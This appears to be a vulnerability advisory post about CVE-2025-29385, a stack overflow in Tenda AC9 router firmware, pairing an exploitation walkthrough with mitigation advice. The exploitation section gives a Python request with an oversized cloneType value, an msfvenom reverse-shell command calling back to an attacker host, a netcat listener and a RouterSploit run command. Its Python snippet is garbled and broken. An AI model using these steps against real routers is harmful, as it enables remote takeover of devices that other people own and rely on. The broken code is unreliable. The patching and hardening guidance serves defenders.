How the CVE Works:
CVE-2025-29385 is a critical stack overflow vulnerability in Tenda AC9 routers, specifically version v1.0 V15.03.05.14_multi. The issue resides in the `cloneType` parameter of the `/goform/AdvSetMacMtuWan` endpoint. When an attacker sends a specially crafted HTTP request with an oversized `cloneType` value, it overflows the stack buffer, allowing remote arbitrary code execution. This vulnerability can be exploited without authentication, making it highly dangerous. The exploit leverages improper input validation, enabling attackers to overwrite memory and execute malicious code on the device.
DailyCVE Form:
Platform: Tenda AC9
Version: v1.0 V15.03.05.14_multi
Vulnerability: Stack Overflow
Severity: Critical
Date: 03/14/2025
What Undercode Say:
Exploitation:
1. Crafting the Payload:
- Use a Python script to send an oversized `cloneType` parameter in an HTTP POST request to
/goform/AdvSetMacMtuWan. - Example:
import requests url = "http://<router_ip>/goform/AdvSetMacMtuWan" payload = {"cloneType": "A" 1000} Overflow buffer response = requests.post(url, data=payload) print(response.text)
2. Gaining Shell Access:
- Exploit the overflow to inject shellcode into the stack.
- Use tools like `msfvenom` to generate payloads for MIPS architecture (common in routers).
- Example:
msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f python
3. Remote Code Execution:
- Execute the payload to gain a reverse shell on the router.
- Example:
nc -lvp 4444
Protection:
1. Patch Management:
- Update the router firmware to the latest version provided by Tenda.
- Check for updates regularly on the official Tenda support page.
2. Input Validation:
- Implement strict input validation on the `/goform/AdvSetMacMtuWan` endpoint.
- Example:
if (strlen(cloneType) > MAX_LENGTH) { return ERROR_INVALID_INPUT; }
3. Network Segmentation:
- Isolate the router from critical internal networks to limit attack surface.
- Use VLANs and firewalls to restrict access.
4. Disable Unused Features:
- Disable remote management features if not required.
- Example:
iptables -A INPUT -p tcp --dport 80 -j DROP
5. Monitoring and Logging:
- Enable logging on the router to detect suspicious activities.
- Use tools like `syslog-ng` to centralize logs.
6. Exploit Mitigation:
- Enable stack protection mechanisms like ASLR (Address Space Layout Randomization) and DEP (Data Execution Prevention) if supported by the router firmware.
7. Community Tools:
- Use open-source tools like `RouterSploit` to test for vulnerabilities.
- Example:
rsf> use exploits/routers/tenda/ac9_stack_overflow rsf> set target <router_ip> rsf> run
By following these steps, users can mitigate the risk of CVE-2025-29385 and protect their Tenda AC9 routers from exploitation.
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-29385
Extra Source Hub:
Undercode
